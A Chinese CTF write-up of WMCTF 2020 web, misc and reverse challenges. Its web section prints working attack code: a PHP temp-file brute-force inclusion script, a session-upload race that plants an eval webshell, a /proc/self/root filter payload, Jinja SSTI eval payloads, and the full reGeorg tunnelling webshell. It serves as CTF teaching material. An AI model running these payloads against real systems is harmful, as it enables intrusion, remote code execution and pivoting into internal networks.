神仙大战菜鸡流泪,
“终究是我扛下了所有”
老网抑云了
WEB
web_checkin
开局就是代码
<?php
//PHP 7.0.33 Apache/2.4.25
error_reporting(0);
$sandbox = '/var/www/html/' . md5($_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
highlight_file(__FILE__);
if(isset($_GET['content'])) {
$content = $_GET['content'];
if(preg_match('/iconv|UCS|UTF|rot|quoted|base64/i',$content))
die('hacker');
if(file_exists($content))
require_once($content);
file_put_contents($content,'<?php exit();'.$content);
}
奈何不会绕exit();结果没想到传个/flag就出了,大概率是非预期吧,以至于2.0版本没做出来。
web_checkin2
这题后期问了一下出题人和1.0啥区别,区别就是1.0没改flag名,这个改了。彳亍
看了nu1l的wp,不由得感叹,就这?
彳亍,想不到想不到,贴个nu1l的脚本罢
# -*- coding: utf-8 -*-
import requests
import string
charset = string.digits + string.letters
host = "web_checkin2.wmctf.wetolink.com"
port = 80
base_url = "http://%s:%d" % (host, port)
def brute_force_tmp_files():
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = i + j + k + l + m + n
url = "%s/index.php?content=/tmp/php%s" % (
base_url, filename)
print url
try:
response = requests.get(url)
if 'phpinfo' in response.content or 'WMCTF' in response.content:
print(response.content)
with open("/tmp/flag.txt","a+") as f:
f.write(response.content)
print "[+] Include success!"
return True
except Exception as e:
print e
return False
def main():
brute_force_tmp_files()
if __name__ == "__main__":
main()
http://web_checkin2.wmctf.wetolink.com/?content=/fffffllllllllaaaaaggggggg_as89c79as8
访问就出了
Make PHP Great Again
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once $_GET['file'];
}
也是代码,这代码跟2.0也一个样子,同理也根本不会2.0,
不过这个题的考点是利用session.upload_progress进行文件包含,然后就好办了,
如果不懂这个可以参考文章https://www.freebuf.com/news/202819.html
直接上payload(上文改的,原理明白不会写脚本hhh)
#coding=utf-8
import io
import requests
import threading
sessid = 'TGAO'
data = {"cmd":"system('tac /var/www/html/flag.php');"}
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post('http://no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com/', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('tgao.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
while True:
resp = session.post('http://no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com/?file=/tmp/sess_'+sessid,data=data)
if 'tgao.txt' in resp.text:
print(resp.text)
event.clear()
else:
print("[+++++++++++++]retry")
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in xrange(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in xrange(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()
跑起来就出了
Make PHP Great Again2.0
问了出题人后,2.0确实就是ban了非预期解,所以实锤了我1.0是非预期,日
算了,直接上罢
这是个文件包含的骚操作就是,没做过类似的题,吃瘪了,不过之前搜搜到过,没尝试555
http://v2222.no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com/?
file=php://filter/convert.base64-
encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc
/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/
root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/roo
t/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc
/self/cwd/flag.php
Login me again and again
登录后报错,需要查看源代码
这里使用flask和requests实现的反向代理程序,并且methods处将POST 写
成了P0ST ,是无法从这个反向代理进行POST请求的。
将host改为nginx,有正常回显
尝试ssit注入,依旧有waf,并且给了源码
进行源码审计,针对username和password分别进行过滤,{{}}不能同时出现,但是username可以有{{,后者可以有}},依旧存在模板注入
构筑payload:查看一下/flag的内容吧
username={{url_for.__globals__['__builtins__']['eval']
("open('/flag').read()#&password=")}}
呃呃呃,不在本机,还不能联网呃呃。。。。访问一下php主机吧
username={{url_for.globals['builtins']['eval']
(request.form['a']%2b"#&password=")}}&a=import("base64").b64encode(_import
_("requests").get("http://php/?source").text.encode())
彳亍,php需要登录,需要mysql主机的mysql密码
然后mysql也需要登录。。。
直接用regeorg的🐎吧
reGeorg:https://github.com/sensepost/reGeorg
#coding:utf8
if 'test' is '': #test
from flask import Flask
app = Flask(__name__)
else:
from flask import current_app as app
#put these variables somewhere safe and reachable.
import sys
sys.tunnels = {}
sys.currentTunnelId = 0
@app.route("/proxy",methods=['GET','POST'])
def tunnel():
#this function has to be self contained, or you will see errors like request is not defined.
from flask import request as request,make_response as make_response,session as session
import socket
import errno
import sys
import traceback
tunnels = sys.tunnels
currentTunnelId = sys.currentTunnelId
def myMakeResponse(text,headers):
resp = make_response(text)
for i in headers:
resp.headers[i] = headers[i]
return resp
if(request.method == "GET"):
return "Georg says, 'All seems fine'"
if(request.method != "POST"):
return "?"
respHeaders = {}
respHeaders['X-STATUS'] = 'OK'
headers = request.headers
cmd = headers.get("X-CMD")
tid = int(request.cookies.get("tunnelid",-1))
if(cmd == "CONNECT"):
target = headers["X-TARGET"]
port = int(headers["X-PORT"])
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except Exception as e:
respHeaders['X-STATUS'] = 'FAIL'
respHeaders['X-ERROR'] = 'Failed creating socket(is this possible for python?)'
return myMakeResponse('',respHeaders)
try:
sock.connect((target,port));
except Exception as e:
respHeaders['X-STATUS'] = 'FAIL'
respHeaders['X-ERROR'] = 'Failed connecting to target'
return myMakeResponse('',respHeaders)
sock.setblocking(0)
tunnels[currentTunnelId] = sock
respHeaders['X-STATUS'] = 'OK'
resp = myMakeResponse('',respHeaders)
resp.set_cookie("tunnelid",str(currentTunnelId))
sys.currentTunnelId+=1;
return resp;
elif(cmd == "DISCONNECT"):
try:
tunnels[tid].close();
del tunnels[tid];
except:
pass
resp = myMakeResponse('',respHeaders)
resp.set_cookie("tunnelid","-1")
return resp;
elif(cmd == "READ"):
sock = tunnels[tid];
try:
buf = b""
try:
t = sock.recv(1024)
except socket.error as e:
err = e.args[0]
if err == errno.EAGAIN or err == errno.EWOULDBLOCK:
return myMakeResponse('',respHeaders)
raise
while t:
buf += t
try:
t = sock.recv(1024)
except socket.error as e:
err = e.args[0]
if err == errno.EAGAIN or err == errno.EWOULDBLOCK:
break
raise
resp = myMakeResponse(buf,respHeaders)
return resp;
except Exception as e:
respHeaders['X-STATUS'] = 'FAIL'
respHeaders['X-ERROR'] = str(e)
return myMakeResponse('',respHeaders)
elif(cmd == "FORWARD"):
sock = tunnels[tid];
try:
readlen = int(request.headers["Content-Length"])
buff = request.stream.read(readlen)
sock.send(buff)
respHeaders['X-STATUS'] = 'OK'
return myMakeResponse('',respHeaders)
except Exception as e:
respHeaders['X-STATUS'] = 'FAIL'
respHeaders['X-ERROR'] = str(e)
return myMakeResponse('',respHeaders)
编码后,利用ssit继续注入,添加/proxy路由
reGeorg服务端也需要被修改,需要自己添加Host头,把227行的conn.urlopen改成被注释的conn.request(否则无法修改host头
直接梭哈,
MISC
sign-in
签到题,进tg群组就有
XMAN_Happy_birthday!
一个老套路的逆序十六进制了,下载下来就是个逆序的压缩包
写个脚本直接梭就出来了
a = open('daolnwod.zip','rb').read()
f = a[::-1]
b = open('t.txt','wb').write(f)
然后用winhex导出就行了
Music_game
纯傻逼题,对着屏幕大喊up down right left
喊到终点就有flag了
Feedback
纯问卷调查,直接拿了
Performance_artist(参考nu1l)
图片给的高度不对,改一下就成,然后手撸,md5对上就ok了
然而还得用机器学习才能准,实际上试了一下nu1l的脚本也是问题百出,可能我的字符集不够准罢
脚本:
from PIL import Image
import os
im = Image.open('attachment.png')
charset1 = '0123456789'
charset2 = 'ABCDEF'
dataset1 = 'training'
dataset2 = 'emnist-byclass'
def check(row,col, candidate):
tmp = im.crop((28*col,28*row,28*col+28,28*row+28))
if candidate in charset1:
for fname in os.listdir(f'pngs/{dataset1}/{candidate}'):
t = Image.open(f'pngs/{dataset1}/{candidate}/{fname}')
if t.tobytes() == tmp.tobytes():
return True
return False
elif candidate in charset2:
for fname in os.listdir(f'pngs/{dataset2}/{candidate}'):
t = Image.open(f'pngs/{dataset2}/{candidate}/{fname}')
if t.tobytes() == tmp.tobytes():
return True
return False
guess = '''504B0304140000000800DB93C55086A3
9007D8000000DF01000008000000466C
61672E74787475504B0E823010DD9370
8771DDCCB0270D5BBD0371815A9148AC
6951C2ED9D271F89C62E2693D7F76BB7
DE9FC80D2E6E68E782A316D2E01F81CE
6D55E76972E9BA7BCCB3ACEF7B89F7B6
E90EA16A6EE2439D45179ECDD1C5CCFB
6B9AE489C1218C92B898779D765FCCBB
58CC920B6662C5F91749931132258F32
BBA7C288C5AE1031331A6608409DAC41
9F7924143412907814AB7A9221D6B8DE
D0D25AEC8A634929025C46A33FE5A1D3
1679100323B1ABEE4A7A0708413219E1
7718165F5D3E73D577798E36D5144B66
315AAE315078F5E51A292469F402504B
01021F00140000000800DB93C55086A3
9007D8000000DF010000080024000000
000000009000000000000000666C6167
2E7478740A0020000000000001001800
4A0A9A64243BD601F9D8AB392436D601
2D00CA13223BD601504B050600000000
010001005A000000FE00000000000000'''
for row, line in enumerate(guess.splitlines()):
for col, val in enumerate(line):
if not check(row, col, val):
print(row, col, val)
row = 20
col = 27
tmp = im.crop((28*col,28*row,28*col+28,28*row+28))
tmp.show()
print(check(row,col,'B'))
Dalabengba(参考nu1l和神大人)
如何修游戏参考神大人的blog,包括了如何解题:http://www.fzwjscj.xyz/index.php/archives/37/
part2:
盲水印直接梭,得到下图
在线网站直接拿:https://manateeworks.com/free-barcode-scanner
part3:
‘5465162526f5f653f5562704f5570395’ “镜像”⼀下可以解得Y0u_@re_5o_bRaVE,
⽤这个作为密钥可以解出s3cr3t.crypto,解出来后之后发现⽂件是由0x9,0x20组成的,并且每⼀⾏的⻓度都是8的倍数
0x9,0x20其实代表⼆进制的0,1,直接解不行,将⼆进制反序⼀下之后才可以再反序⼀下发现⾥⾯有第三部分的flag
RE:
easy_re
mz师傅帮忙出的,直接perl反编译然后看明文就完事了,过于简单.jpg
暂无评论内容